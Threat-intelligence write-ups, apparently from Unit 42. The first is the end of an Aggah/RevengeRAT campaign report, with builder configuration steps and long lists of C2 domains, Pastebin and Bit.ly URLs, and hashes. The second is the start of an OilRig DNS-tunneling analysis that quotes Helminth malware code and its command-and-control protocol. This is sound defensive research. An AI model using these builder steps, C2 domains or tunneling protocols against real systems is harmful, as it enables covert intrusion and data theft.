While investigating this particular campaign we reviewed the click count available on Bit.ly. As of April 11, 2019, the Bit.ly link, SmexEaldos3, referenced in the analysis above contained over 1,900 clicks in about 20 countries spanning North America, Europe, Asia, and the Middle East. This high volume click-count indicated to us that we were likely only looking at an extremely small subset of the actual campaign. It is also highly likely that these click counts also include individuals accessing the shortened link during investigations and research efforts; therefore, the number is not an accurate representation of the number of hosts infected.

Figure 13. bitly SmexEaldos3 page clicks

Digging in a bit further we took a look at the document properties to see what additional information we may be able to use to help identify related activity. The document properties indicate these operators were using an apparently pirated version of Microsoft Word and used the string ‘Lulli moti myri’ as the creator/author of the document. Using this string we searched in our repositories and identified over a dozen Microsoft Office documents - half of them DOCX and the other half XLS.

All of the documents have a time stamp between January and April 2019, and each contained a Bit.ly URL that redirects to a Blogspot page. While all of these documents were of interest to us, we noticed one configured with the same Bit.ly URL as our original file Activity.doc. This file has the following SHA256:

SHA256

ef837119fc241e8fde85f36f4635a71f6b87aecf39dc979961be914 f48c4ef4c

Table 3. Similarly configured document to Activity.doc

During our analysis, we identified several Bit.ly URLs and their redirects resulting in the download of RevengeRAT. One particular sample contains the C2 domain kronozzz2.duckdns[.]org. This sample has a SHA256 of:

SHA256

c365b15cb567da7e9c04dffa0de1cb2b8104d5fe668c17691d8c683 80bcd6d30

Table 4. Decoded payload from pastebin[.]com/raw/sgawvit9

One of HAGGA’s pastes includes the title ‘kronoz2 back2new’. This domain indicated to us another possible relation to the HAGGA Pastebin account shown in Figure 12. Open source research revealed a similar domain kronoz.duckdns[.]org associated with a RevengeRAT sample with the following hash:

SHA256

fa5500a45e98e084b489301fd109676a4d8b0d3b39df4d9e2288569 e232a9401

Table 5. File associated with kronoz.duckdns[.]org

All identified samples are available in Appendix A.

After reviewing all of the delivery documents and RevengeRAT payloads we discovered that all but one payload contains the mutex RV_MUTEX-WindowsUpdateSysten32 (note the purposeful misspelling by the attackers of “Systen32” for “System32”) with a base64 encoded identifier of SE9URUlTIE5PVk9T that decodes to HOTEIS NOVOS (“NEW HOTELS” in Portuguese). We searched through our available repositories to see just how many samples contained these strings. We found over 50 files beginning as early as September 2018, which are noted in Appendix A. Many of these samples contained the same ‘hagga’ key; however, we also noted three other additional keys: ‘oldman’, ‘steve’, and ‘roma225’. The ‘roma225’ key was discussed in December 2018 in a publication titled ‘The Enigmatic “Roma225” Campaign’ by Yoroi. The one sample that was not configured with that mutex and identifer was the sample noted in Table 5. That sample contains the mutex RV_MUTEX-cuiGGjjtnxDpnF and the Identifier TWlsZWdvbmE= which decodes to ‘Milegona’.

Correlating RevengeRAT samples

RevengeRAT is a commodity Trojan that has many leaked builders freely available in open source, which makes attributing the tool’s use to a specific actor or attack campaign difficult. Because of this, we wanted to determine if the mutex, identifier and key seen in Aggah related samples were not standard default values for RevengeRAT and if they were strong enough to use for pivoting and correlation purposes. To gauge the likelihood of two unrelated actors using the same values in the configuration, we used the leaked RevengeRAT builder (v0.3) to visualize the process an actor would have to take to create RevengeRAT samples that shared the same mutex, identifier and key as the payload delivered in the Aggah campaign.

To our surprise, we found it was rather unlikely that two unrelated individuals would use the mutex, identifier, and key just by happenstance. We believe this as the actor must manually enter the mutex, identifier, and key into specific fields within the RevengeRAT builder, in which we will highlight in the following explanation of steps required to build the Trojan.

To create the RevengeRAT payload used in this campaign, the actor would use the RevengeRAT server to compile an executable configured with the appropriate fields. First, the actor would set the “Socket Key” field to “hagga” and press “Start Listening”, as seen in Figure 14.

Figure 14. RevengeRAT Builder Socket Key Setting

Once the server is configured and listening, the actor would click the “Client Builder” button to create the RevengeRAT client, as seen in Figure 15.

Figure 15. RevengeRAT Client Builder

In the Client Builder, the actor would click the “Network Settings” drop down and enter the domain “lulla.duckdns[.]org” and the TCP port of 2336 before pressing the add button seen in Figure 16.

Figure 16. RevengeRAT Network Settings setup

The actor would then click the Basic Settings drop down and enter their chosen identifier “HOTEIS NOVOS” into the “Client Identifier” field and would add “-WindowsUpdateSysten32” in the “Client Mutex” field, as it already contains “RV_MUTEX” by default. Figure 17 shows these values added to the correct fields. What is of interest to note here is that the actor manually added the string “-WindowsUpdateSysten32” instead of clicking the plus (“+”) button available next to this field, which would concatenate a hyphen and a random string instead.

Figure 17. RevengeRAT Basic Settings setup

Lastly, to compile the payload the actor has to agree to the Terms of Service and click the “Compile” button, as seen in Figure 18.

Figure 18. RevengeRAT Ready to compile

By pressing the compile button, the RevengeRAT server will create a client executable with a default name of “Client.exe” that the actor can save to the system prior to delivering it in their attack. Figure 19 shows the RevengeRAT client icon on the desktop.

Figure 19. RevengeRAT Client Icon

The configuration within the compiled “Client.exe” seen in Figures 16 and 17 visually matches the configuration of the RevengeRAT downloaded from Pastebin in the Aggah campaign, as seen in Figures 7 and 8. This suggests that the actor(s) involved in this campaign would have followed similar steps to create their payload. The sequence of steps carried out to create RevengeRAT payloads that share the same client identifiers and socket keys suggests with a high confidence that a common actor is involved.

Conclusion

Initially, according to our telemetry it appeared as though this could be a very focused effort to target organizations within one Middle Eastern country. However, after further analysis this appears to be just a small part of a much larger campaign which also seems to be affecting many regions including but not limited to the United States, Europe, and Asia. Unfortunately, our current data set does not afford insight into the attackers’ motivation other than to compromise a large number of victims.

While a lot of this activity behaviorally appears to be potentially related to the Gorgon Group’s criminal activity, it is currently unclear and requires additional analysis to prove. Both Unit 42 and Yoroi recently released similar blogs which also displayed similar tactics but were not assessed with a high level of confidence as related to the Gorgon Group. Although we are unsure of a connection to the Gorgon Group specifically, we do assess that based on the unique configuration of these RevengeRAT samples that a common operator was likely involved in the activity mentioned in this blog.

RevengeRAT is a publicly available RAT which is seen in high volume. It appears as though some users of this RAT have moved from following publicly available step-by-step guides to become a little more sophisticated in how they are leveraging alternative storage locations for C2 support, such as Pastebin. These technique changes may help the operators by hiding behind legitimate services that are likely not blocked by security devices.

Palo Alto Networks customers are protected from these operators in the following ways:

AutoFocus: Customers can currently track this campaign activity using the following tags: Aggah, RevengeRAT
WildFire and Traps: detects all malware supported in this report as malicious

Appendix A:

Indicators of Compromise

Malicious Documents and Payloads

6101f3210638a6068a9d40077f958e8d8a99ffed686a48426784f368e0ac021b

89d302cfe11c5fdca420d12cc36d58b449f24ee761b822cb8a22497af7e873ba

248456219c1be39f494301a16cae0a4ed9676be8d1155fa8ba5540d223797e97

82e64d2233cd8e755fecfefbd976f6143138f9b33e037f24a25b05fe9abd5620

1eef9ef568703ba6558923ec88cf960ed86086d87488a188709d32827877f528

9b47e150a9259ae7a6df20f070dc9faf9d5a589347f8db8a9f64c64060cb7606

679f1d59116af145f4f7c1a4d1cdb66e4402b0da906a491e09071e8eac696a16

fa5500a45e98e084b489301fd109676a4d8b0d3b39df4d9e2288569e232a9401

98136bc4323e00f64b63d1035c313bc08fb56af7894ac050b8e9db6961593eef

c365b15cb567da7e9c04dffa0de1cb2b8104d5fe668c17691d8c68380bcd6d30

b9b67c885200f90eaf9c4911b3a7f5e6707bcb51d1b892df1bde11013a60f6b5

ec8ff76234aca351169e7cf4973b8b5d603fa165815107482cbd0d803a829e81

aaabc63bd58fa4b8e2cb79630ea5e24c55f29327cae8ca36aae3219b95100669

c87fb09929159c2dab63d609d7bde992ce979f3545fbe20ddca0a3f263d9603f

abba33bdc8cf21423202b000771ec10d8ab7248f199d8211e53be03c9905b0ed

a4c1a9d4a6be9290a58b282f6b7dc75ebd4d4e3866df4fdab80eac56274aabf1

947ddcefbb1170a6fbd1ba341c773444c1833bedecdb4d6684e05b8555765117

6fe3548e0dc7fb605ee69791b752df0d9f3d8f5db49b2811011ac2a092ab0a28

6def95b2858c043e261b8f4d440abc1436a9dc551906d86a37c5f3331af8cbfc

eacad199f02e26ccdc7a866c18e585f7ee7e2a80ef0325208ddb22b1d059be2f

d2a16840541f905f7bcecf64e2d7dc827f314c4b97daf6e4cc4262fd91fdd14c

61600526307ec08137967b49b230c03ce8a4e1d2f0d58ea2e5d8b2ab3bf92df7

8e6c25f517a69c5da329f858b291b4d146c3fd0dd07c17a1d8a6851cddb347eb

7acd5696306ae7ed8de112f096917487df2d01c2aa66b4b9d2a37ea36b597b1a

2815552fd2f57eba147715331f96387dcb4769d3af816e9db2195e5602fc3a1a

251e3e25584d1a654a395accbcfdb506ec8b9d7039cb3ab725e14415d3c71aad

f5e170571689b393139b9cea484a9683305129ecbf2ab4ebb93fc997ee1d31aa

77a1430cfd728daa7a61e10f3cdc3409104cae1aed65711c8f5ce425c6920cb7

9c8fa4205b2ed8a6f60156bdc39d33a23c6e503cf2f8e69d66bf2980e78bacef

c57ff49bfe21e345c2bde30bc8feb60626f3c7839b1c2e5a1f01b9a567f911d8

8e771cbb12b259d4d12feac34c80e95eb38228dea393d49e0b9cc6f19861847c

abcce639df67279c73f327b2c511183c00ca96555fe481a4ae417bf752c96efa

83d9c57cfc40457b072bdc0e062dd5ca4958a91d8cf3387dbedd99af753da640

5976fca040071eb33ca383412b915e5160133c4e0f8a07bbbaa478ceeee0a890

a5c3c96b655d3115a39875e0303951fef2f2d6119b0af9eaadf57bacfae3f5cb

10d4bd37cd29071186b4ef31341edb79a9ae05c6bc8d26c9850cfeccabb90d1f

89903b38efc7a86da63d547d3d4e3439d64656a030cb289eff4721bc5ada3e13

464f30101630f06013ea65e72b0c043fa1fc83440d9c3367e474d6309d3fe4c9

5e226f1c0729d1fbcf6e074e28009d35e2f6eaa4d4eb0c411892ea56e1299c86

f57fff1b8acdee475b161ec1313452f0fe66077142fc677a63f7914a96890bae

a1879f1f3c2bbb1a4cf8af8e54230c3b0b88c29e37902c88d37ec9d7a1138894

3fa2591b208137d68aa87da931d9cc152a62250b7d26755818f362fa5015a99a

87f43fd2f6c9d1439ceb250e3bd045a07d9a8c214cf17dc66a8c22a3846b6437

4e2997adac5ae57ab92512e5b02e9a5ceb588f287a68387420113ed7b3d347d2

d32f1bd358b97f8f1ae2295c7e8969fab1460d9d54c9528dcfbb42c96a74b31b

f69fff5106fc73672569abc62ad85cfa461c237d9222426db20d6565021c110f

5742ebd53b2b495df0c6bff8ddc17d1726cb8e76e269bd8207b07a0a3ee2b813

d2a2373a386392f72372c9a23b42b43fd2652b6dafce6a6d8d44368ccbfdadb6

b9f74a648b0202109d2c53d68a8474d6eabfefba28bf99a53517ece52da483d5

3088fcd46c51e7ace8aee4e9bfb018aa1d0b0a52fbea62e5ef121e4fe637ebfc

54cba5cfb44379f8a4aac2e1d93d7e8e2ba83afe312d2b1a4f9145846efcd413

00a002607b6e7938292e7ae81ca60d58a091c456ea4343210d4bb610b6edee01

4c29279f341f568056fe9e2ff8bfb2fcaf06b065246329ca9652fcd7986b405d

1d1904dad2df5d677342806cbf1b67b9840d1bc9c85c10928896fcfa91661762

5f762589cdb8955308db4bba140129f172bf2dbc1e979137b6cc7949f7b19e6f

b10519bb52656a09aa146305d8b2ec4aa55f3dba43c633d9de23046798a32a2f

b6db8716bedd23042883f31132fa00b4125c659f2799d239f42105367ff42aec

821e6f3faacb4edafa8ddb60f83a7c8e87845a07ad8d1f8362a7c68cd8a48343

1fd98d66d123d4d0c049b4e1053d22335ef9dcec9fdde398d608c7d7d23ed280

5ca968f9e6a97505abe7c732b5ee573f787b11f294ccbf3a96ae7b77ccce004c

26f5e813e34c05cd1e553224e5c8284ced7fa648d55725416232c24e58546e60

ef837119fc241e8fde85f36f4635a71f6b87aecf39dc979961be914f48c4ef4c

d7c92a8aa03478155de6813c35e84727ac9d383e27ba751d833e5efba3d77946

915535fd77ac89a3a86eca6b3a1f1852f69c141050754f059c094c39a9ee4259

0671a2b4ae1a94edca9f65f7d11199d6526cab1fd53911e114ab772900d8a583

ea3cab2a0b74e30c0d6812e3ef6fcc9e47ea723c98d39fa1e04d5edf03193ff0

de657d3538e96a8d2c74b7c4f8c6fb2e51d67f12d158abfea2964298a722993c

70657b183854550e77633f85d9e63fbf0b01a21131388228985322880b987b9a

bc8a00fddff73accaff5eb5f3a6ca182a5282502d7af054ca9176d2e98a5116a

c3f36883ebf928c8403e068648299b53b09fecb0f56986980319e83f13dc296c

0e5011ee17c5f9bbcad8df4dc2a971fe56346f8ca7ce4e93d25f3b02086c581c

51147c260c18d3e766006ae4ffa216d4c178c8ee669a83391fab0de98da24b27

e1eb9daa5fb43b9f07e2b75f931a815fd5adf7e3f8d4f885740202af886402da

08883b4d7081d51bb9d9429f856c7c4c95f47a22f38aeb48b7772635d718c7ca

12a7ac8838681a95339e24683c0c8e6410a040a8a8ce5fe72bc175b724cb0aa9

Download URLs

www.bitly[.]com/nliasjdASd1

www.bitly[.]com/nliasjdASd2

www.bitly[.]com/nliasjdASd3

www.bitly[.]com/nliasjdASd4

www.bitly[.]com/nliasjdASd5

www.bitly[.]com/nliasjdASd6

www.bitly[.]com/nliasjdASd7

www.bitly[.]com/nliasjdASd8

www.bitly[.]com/nliasjdASd9

www.bitly[.]com/nliasjdASd11

www.bitly[.]com/nliasjdASd12

www.bitly[.]com/nliasjdASd13

www.bitly[.]com/SexoPhone1

www.bitly[.]com/SexoPhone2

www.bitly[.]com/SexoPhone4

www.bitly[.]com/SmexEaldos1

www.bitly[.]com/SmexEaldos2

www.bitly[.]com/SmexEaldos3

http://bitly[.]com/SmexEaldos4

www.bitly[.]com/SmexEaldos5

www.bitly[.]com/SmexEaldos6

www.bitly[.]com/SmexEaldos7

www.bitly[.]com/SmexEaldos8

www.bitly[.]com/SmexEaldos9

www.bitly[.]com/SmexEaldos10

www.bitly[.]com/XAMSeWaWz

www.bitly[.]com/CAEanwQA

www.bitly[.]com/MinPoXAsUKx

www.bitly[.]com/MinPoXAs

http:/bitly[.]com/chutter1

www.bitly[.]com/doc201901000791

www.bitly[.]com/doc201901000793

www.bitly[.]com/ASDAWnZqWas

Unit 42 - Latest Cyber Security Research | Palo Alto Networks

emawattttson.blogspot[.]com

Unit 42 - Latest Cyber Security Research | Palo Alto Networks

https://pastebin[.]com/raw/2LDaeHE1

http://pastebin[.]com/raw/YYZq1XR0

https://pastebin[.]com/raw/tb5gHu2G

http://pastebin[.]com/raw/0c9cC2iM

http://pastebin[.]com/raw/sgawvit9

The following indicators were identified associated with RevengeRAT, however, may not be exclusive to RevengeRAT

frankmana.duckdns[.]org

workfine11.duckdns[.]org

oldmandnsch.duckdns[.]org

blackhagga.duckdns[.]org

skyrocket1.duckdns[.]org

kronoz.duckdns[.]org

oldmandnsch.duckdns[.]org

kronozzz2.duckdns[.]org

lulla.duckdns[.]org

decent.myvnc[.]com

decent5.myvnc[.]com

jayztools1.ddns[.]net

jayztools2.ddns[.]net

jayztools3.ddns[.]net

totallol.duckdns[.]org

totallol1.duckdns[.]org

totallol2.duckdns[.]org

totallol3.duckdns[.]org

decent2.myvnc[.]com

decent3.myvnc[.]com

decent1.myvnc[.]com

decent4.myvnc[.]com

jordanchen736.sytes[.]net

jordanchen7361.sytes[.]net

jordanchen7362.sytes[.]net

jordanchen7363.sytes[.]net

lalacious1.serveftp[.]com

lalacious2.serveftp[.]com

lalacious3.serveftp[.]com

lalacious4.serveftp[.]com

mastermana1.serveirc[.]com

mastermana2.serveirc[.]com

mastermana3.serveirc[.]com

mastermana4.serveirc[.]com

mastermana5.serveirc[.]com

lullikhao.ddns[.]net

lullikhao1.ddns[.]net

lullikhao2.ddns[.]net

bullol.duckdns[.]org

cocomo.ddns[.]net

haggasinger2.ddns[.]net

haggasinger.ddns[.]net

haggasinger1.ddns[.]net

loramer1.ddnsking[.]com

easykill.servebeer[.]com

easykill3.servebeer[.]com

easykill2.servepics[.]com

easykill1.servepics[.]com

easykill3.servepics[.]com

helloweenhagga.ddns[.]net

helloweenhagga3.ddns[.]net

helloweenhagga4.ddns[.]net

helloweenhagga2.ddns[.]net

revengerx211.sytes[.]net

revengerx212.sytes[.]net

revengerx213.sytes[.]net

revengerx214.sytes[.]net

revengerx215.sytes[.]net

revengerx216.sytes[.]net

revengerx217.sytes[.]net

revengerx218.sytes[.]net

revengerx219.sytes[.]net

revengerx210.sytes[.]net

office365update.duckdns[.]org

systen32.ddns[.]net

bhenchood.ddns[.]net

emmanuelstevo.ddns[.]net

zinderhola1.ddns[.]net

zinderhola.ddns[.]net

myownlogs.duckdns[.]org

cocomo1.ddns[.]net

cocomo10.serveblog[.]net

cocomo2.ddns[.]net

cocomo2.serveblog[.]net

cocomo3.serveblog[.]net

cocomo4.serveblog[.]net

cocomo5.serveblog[.]net

cocomo6.serveblog[.]net

cocomo7.serveblog[.]net

cocomo8.serveblog[.]net

cocomo9.serveblog[.]net

mrcode.hopto[.]org

mrcode1.hopto[.]org

mrcode2.hopto[.]org

pussi2442.ddns[.]net

Unit 42 has identified additional indicators associated with the Aggah campaign. These indicators include:

Delivery documents:
63684ec73be78b2676470484602caf7090e73ed589618cedb017a09b15cc4abc
89d925222af65a01b69a65ae4bba878c0c64cdb9ac06d54d9da6bf1911c5a41d

Pastebin URLs:
https://pastebin[.]com/raw/5EH8DHwd
https://pastebin[.]com/raw/TaCG9fsP
http://pastebin[.]com/raw/5J5dtrzL

Bit.ly URLs:
https://bitly[.]com/ChutasdhikhasdAS[number 1-20]

Blogspot:

Unit 42 - Latest Cyber Security Research | Palo Alto Networks

RevengeRAT:
0f266a7c9ff37313e6d8b823e3407271e635d565cde3e0829a15fffa65f776d8

C2 Domains:
majorsss.duckdns[.]org
cycbra.duckdns[.]org

DNS Tunneling in the Wild: Overview of OilRig’s DNS Tunneling

Posted on April 16, 2019June 7, 2024 by Robert Falcone

On March 15, Unit 42 published a blog providing an overview of DNS tunneling and how malware can use DNS queries and answers to act as a command and control channel. To supplement this blog, we have decided to describe a collection of tools that rely on DNS tunneling used by an adversary known as OilRig.

Unit 42 has been tracking the OilRig threat group since early 2016, which has resulted in over a dozen blogs describing various attacks carried out by this adversary. We have been covering the various tools OilRig uses in their operations, many of which rely on DNS tunneling to communicate between infected hosts and their command and control (C2) server. The repeated use of DNS tunneling clearly represents one of their preferred communication methods; therefore, we chose to publish an overview of OilRig’s tools that use various DNS tunneling protocols. A high-level analysis of the tunneling protocols used by these tools suggests:

All subdomains contain a randomly generated value to avoid the DNS query resulting in a cached response
Most rely on an initial handshake to obtain a unique system identifier
Most rely on hardcoded IP addresses within the DNS answers to start and stop data transfer
Data upload includes a sequence number that allows the C2 to reconstruct the uploaded data in the correct order
Depending on the tool, A, AAAA, and TXT query types have been used by OilRig for tunneling
All of the DNS tunneling protocols will generate a significant number of DNS queries

This blog will dive deep into the DNS tunneling protocols used by OilRig’s tools Helminth, ISMAgent, ALMACommunicator, BONDUPDATER, and QUADAGENT. Each of these tools use DNS queries and the answers to these queries to communicate back and forth with its C2 server. Not only will this blog discuss the structure of the queries and the responses, but it will also show these protocols in action with screenshots of Wireshark displaying how the tunnels would look within a packet capture.

Tool Overview

OilRig delivered Trojans that use DNS tunneling for command and control in attacks since at least May 2016. Since May 2016, the threat group has introduced new tools using different tunneling protocols to their tool set. Figure 1 shows a timeline of when OilRig first used each of the 5 tools and their sub-variants in attacks, based on our visibility.

Figure 1. Timeline of OilRig introducing DNS tunneling tools

Regardless of the tool, all of the DNS tunneling protocols use DNS queries to resolve specially crafted subdomains to transmit data to the C2 and the answers to these queries to receive data from the C2. Therefore, the protocols must abide by the DNS protocol, so the specially crafted subdomains must have labels (portions of the subdomain separated by periods) must start and end with a letter or digit, contain letters, digits and hyphens and be less than 63 characters in length. Also, the entire domain queried, which includes the C2 domain and the specially crafted subdomain cannot exceed 253 characters.

The protocol used by each of the five tools to communicate with its C2 via DNS tunneling differ in many ways. First, the structure of the subdomains queried that the tools use to transmit information to the C2 differ. Next, the structure of the data received by the Trojans from the C2 in the answers to the DNS queries differ as well. The structure of the subdomains used to transmit data differ dramatically, both in the amount of data included and the encoding used to represent the data. The two encoding methods used by these tools to transmit data within the subdomains included base16 and base64 encoded data. The encoding method greatly impacts the amount of data the tool is able to transmit in the subdomain of each query, as base16 requires 2 ASCII characters to represent each byte of data, so each character byte within the subdomain can transmit half (.5) a byte of data. Compare this with the use of base64 to encode the data, in which each character of base64 encoded data in the subdomain represents 6-bits (.75 bytes) of the data. This makes the base64 encoding more effective from a transmission throughput perspective.

The DNS query type used by the Trojan for its tunnel greatly effects the amount of data that the C2 can transmit to the Trojan for each query. For instance, the tools that issue DNS A queries transmit data via IPv4 addresses within the answers, so the C2 is only able to transmit 4-bytes per query, whereas tools using AAAA queries can transmit 16-bytes within the IPv6 answer. Table 1 shows the tools and their variants covered in this blog with a focus on the number of bytes of data the C2 can provide per query, the amount of characters used in the specially crafted subdomain, the corresponding amount of data bytes sent per query and the encoding format used to transmit the data. The table below shows that QUADAGENT can transmit the most amount of data per query, as it has 60 characters within its subdomain to transmit base64 encoded data, meaning each query can transmit 45 (60*.75 = 45) bytes of data. The table also shows that the updated version of BONDUPDATER can download the most amount of bytes per query, as the C2 can provide 186.75 bytes of data thanks to the 255-byte maximum size for TXT queries and the C2 providing base64 encoded data after a 6 character sequence number ((255-6)*.75 = 186.75), which will be discussed later in this blog.

Tool		Bytes received per query	Characters for data per query	Data bytes sent per query	Data encoding in subdomain
Helminth		4	48	24	Base16
ISMAGENT		16	13	9.75	Base64
ALMA Communicator	Dash	4	20	10	Base16
ALMA Communicator	Dot	4	60	30	Base16
BONDUPDATER	Original	3	50	25	Base16
BONDUPDATER	Updated	186.75	60	30	Base16
QUADAGENT		16	60	45	Base64

Table 1. Throughput and encoding used by OilRig's tools using DNS tunneling

Another difference seen amongst the tools involves the type of DNS queries used to transmit and receive data, with each of the tools using DNS A, AAAA or TXT queries. Lastly, how the Trojan issues DNS queries differs as well. Depending on the tool, DNS queries could be issued using the built-in ‘nslookup’ application, using methods within the “UdpClient” class, using methods “GetHostByName” and “GetHostAddresses” from the ‘DNS’ class, or using the DnsQuery API functions within the ‘Dnsapi’ library. Table 2 includes the five tools covered in this blog, which shows several different DNS query types used for the tunneling protocol and different functions used by the tools to issue the DNS requests. Also, the example C2 domain column provides the domain name once used by OilRig to host a C2 server for the associated tool.

Tool	DNS Type	DNS Query method	Example C2 domain
Helminth	A	[System.Net.DNS]::GetHostByName	go0gie[.]com
ISMAgent	AAAA	DnsQuery_A	ntpupdateserver[.]com
ALMACommunicator	A	DnsQuery_W	prosalar[.]com
BONDUPDATER	A, TXT	[System.Net.Dns]::GetHostAddresses, System.Net.Sockets.UdpClient	poison-frog[.]club, withyourface[.]com
QUADAGENT	AAAA	nslookup.exe, Resolve-DnsName	acrobatverify[.]com

Table 2. DNS type and query method used by OilRig's tools using DNS tunneling for C2

In the upcoming sections, we will provide an in-depth analysis of the DNS tunneling protocols used by each of OilRig’s tools.

Helminth

There are several variants of Helminth, as the OilRig actors actively developed this Trojan during the course of their attack campaigns. The Helminth Trojan came in two forms, a portable executable version and a PowerShell version, both of which received updates to their DNS tunneling protocol over time. The DNS tunneling protocols used in each variant operated the same way, but the developer would make changes to the generated subdomains to make them look visually different to evade detection.

For instance, Figures 2, 3 and 4 below show the subdomain generation function used in three variants of PowerShell Helminth, which effectively generate the subdomains with the same structure, but the first two characters differ from “00”, “zz” and “ww”. While the portable executable and PowerShell variants of Helminth generate different subdomains for their DNS tunneling, in this section we will focus on the PowerShell variant as it is easier to visualize.

function GetSub($myflag2, $cmdid='00', $partid='000')

{

if($myflag2 -eq 0)

{

('00000000'+(convertTo-Base36(Get-Random -Maximum 46655)))

}

elseif($myflag2 -eq 1)

{

('00'+$global:myid+'00000'+(convertTo-Base36(Get-Random -Maximum 46655)))

}

elseif($myflag2 -eq 2)

{

('00'+$global:myid+$cmdid+$partid+(convertTo-Base36(Get-Random -Maximum 46655)))

}

}

function GetSub($myflag2, $cmdid='00', $partid='000')

{

if($myflag2 -eq 0)

{

('00000000'+(convertTo-Base36(Get-Random -Maximum 46655)))

}

elseif($myflag2 -eq 1)

{

('00'+$global:myid+'00000'+(convertTo-Base36(Get-Random -Maximum 46655)))

}

elseif($myflag2 -eq 2)

{

('00'+$global:myid+$cmdid+$partid+(convertTo-Base36(Get-Random -Maximum 46655)))

}

Figure 2. Code in Helminth "00" variant used to generate subdomains

function GetSub($myflag3, $cmdid='00', $partid='000')

{

if($myflag3 -eq 0)

{

('ww000000'+(convertTo-Base36(Get-Random -Maximum 46655)))

}

elseif($myflag3 -eq 1)

{

('ww'+$global:myid+'00000'+(convertTo-Base36(Get-Random -Maximum 46655)))

}

elseif($myflag3 -eq 2)

{

('ww'+$global:myid+$cmdid+$partid+(convertTo-Base36(Get-Random -Maximum 46655)))

}

}

function GetSub($myflag3, $cmdid='00', $partid='000')

{

if($myflag3 -eq 0)

{

('ww000000'+(convertTo-Base36(Get-Random -Maximum 46655)))

}

elseif($myflag3 -eq 1)

{

('ww'+$global:myid+'00000'+(convertTo-Base36(Get-Random -Maximum 46655)))

}

elseif($myflag3 -eq 2)

{

('ww'+$global:myid+$cmdid+$partid+(convertTo-Base36(Get-Random -Maximum 46655)))

}

Figure 3. Code in Helminth "zz" variant used to generate subdomains

function GetSub($myflag2, $cmdid='00', $partid='000')

{

if($myflag2 -eq 0)

{

('zz000000'+(convertTo-Base36(Get-Random -Maximum 46655)));

}

elseif($myflag2 -eq 1)

{

('zz'+$global:myid+'00000'+(convertTo-Base36(Get-Random -Maximum 46655)));

}

elseif($myflag2 -eq 2)

{

('zz'+$global:myid+$cmdid+$partid+(convertTo-Base36(Get-Random -Maximum 46655)));

}

}

function GetSub($myflag2, $cmdid='00', $partid='000')

{

if($myflag2 -eq 0)

{

('zz000000'+(convertTo-Base36(Get-Random -Maximum 46655)));

}

elseif($myflag2 -eq 1)

{

('zz'+$global:myid+'00000'+(convertTo-Base36(Get-Random -Maximum 46655)));

}

elseif($myflag2 -eq 2)

{

('zz'+$global:myid+$cmdid+$partid+(convertTo-Base36(Get-Random -Maximum 46655)));

}

Figure 4. Code in Helminth "ww" variant used to generate subdomains

The Helminth variant that uses “00” as the first characters of generated subdomains is the first variant of this Trojan that we analyzed from an attack campaign on Saudi Arabian targets back in May 2016. During the explanation of the DNS tunneling, the “00” variant will be the main focus, but as the figures above suggest, the “ww” and “zz” variants are exactly the same just using different characters for the first two bytes of the subdomain.

The Helminth variant relies on DNS Type A requests to resolve custom crafted subdomains at the C2 domain to obtain IPv4 answers that it will ultimately parse and treat as data. It issues these DNS queries using the GetHostByName method in the System.Net.DNS class. The Helminth tool will use the downloaded data to create a batch script that it will run and upload the results to the C2 via the DNS tunnel. To carry out this activity, the Helminth tool looks for two hardcoded IP addresses within the response to its initial DNS query.

IP Address	Description
33.33.x.x	Provides script filename and instructs the Trojan to start downloading data to save to the batch script.
35.35.35.35	Instructs the Trojan to stop downloading data and to execute the downloaded batch script.

Table 3. IPv4 addresses used by Helminth for data transfer through the DNS tunnel

The Helminth Trojan initiates the conversation with its C2 server by issuing a DNS query to resolve a special subdomain that acts as a beacon. The C2 will respond to this beacon with an IPv4 address in the DNS answer that the Trojan will use to obtain a unique system identifier from the C2, specifically converting the number in the first octet of the IPv4 to a character and using this character to uniquely identify the system in subsequent DNS queries. The initial beacon to obtain a system identifier from the C2 has the following structure:

00000000<base36 encoded random number less than 46655><sequence number “30”>.<c2 domain>

Figure 5 shows this initial beacon that includes the hardcoded string of eight zeros (“00000000”), followed by three characters for the base36 encoded random number and a sequence number of “30”, which represents the character “0”. Figure 5 also shows the C2 server providing an IPv4 address of “35.0.0.0” as the answer to the DNS request. This IP address instructs the Trojan use the character “5” as a unique system identifier, as the number 35 represents the “5” character in ASCII. The Trojan will use this identifier in subsequent queries that the C2 server will use to identify the system.

Figure 5 Initial beacon from Helminth and the C2 replying with a unique system identifier

The next query includes the system identifier provided by the C2 as the third character in the subdomain, followed by the base36 encoded random number and the sequence number “30”, which represents the character “0”. This query has the following structure, which reuses the “30” sequence number as the Trojan has not begun receiving data yet:

00<system identifier>00000<base36 encoded random number less than 46655><sequence number “30”>.<c2 domain>

The C2 will respond to this query with an answer that contains an IPv4 address that is structured as “33.33.x.x”, which Helminth will treat the last two octets as integers (“x.x”) and converts them to characters to use as the name of the batch file used to store the downloaded script. Helminth will concatenate the “.bat” file extension to these two characters to create the batch script and will begin issuing additional DNS queries and treat future IPv4 addresses in responses as data that it will write to this file. Figure 6 shows the query containing the system identifier and the C2 responding with an IPv4 answer of “33.33.97.97”, which Helminth will use “97.97” to create a file named “aa.bat”, as the number 97 represents the “a” character in ASCII.

Figure 6. C2 providing Helminth with the two character filename

To download data from the C2, Helminth will issue DNS queries that have the following structure, which is similar to the previous query used to obtain the filename, however, these requests include a hardcoded string “232A” followed by the hexadecimal representation of the two characters used for the filename:

00<system identifier>00000<base 36 encoded random number less than 46655>232A<hexlified characters for filename><sequence number>.<c2 domain>

The C2 server will begin providing IPv4 addresses that the Trojan will treat each octet as the base10 representation of the binary data. The Trojan will write each byte to the batch file and continue to do so until the C2 provides the IPv4 address of “35.35.35[.]35” as a DNS answer, which instructs the Trojan to stop writing data to the file and run the file as a batch script.

Figure 7 shows the C2 server providing the “33.33.97[.]97” IPv4 address instructing the Trojan to create a file name “aa.bat”. The screenshot then shows the Trojan issuing DNS queries with incrementing sequence numbers (“31”, “32” and “33” for 1, 2 and 3), which the C2 is responding with two IPv4 addresses to transmit the data (119.104.111[.]97 and 109.105.32[.]32 to transmit the string “whoami”) followed by the “35.35.35[.]35” address to end the data transmission.

Figure 7. Helminth requesting data from the C2 server until receiving the IPv4 35.35.35[.]35 to stop the data transfer

Once it receives the “35.35.35[.]35” address, Helminth will run the downloaded batch script and save the output of the script to a text file whose name has the same two characters as the batch script. For instance, in the above example the Trojan would save the output of the “aa.bat” script to “aa.txt”. The Trojan will upload the contents of this text file to the C2 server via a series of DNS queries that have the following structure:

00<system identifier><characters for filename><sequence number><base 36 encoded random number less than 46655><up to 48 characters for a maximum of 24-bytes of hexlified data>.<c2 domain>

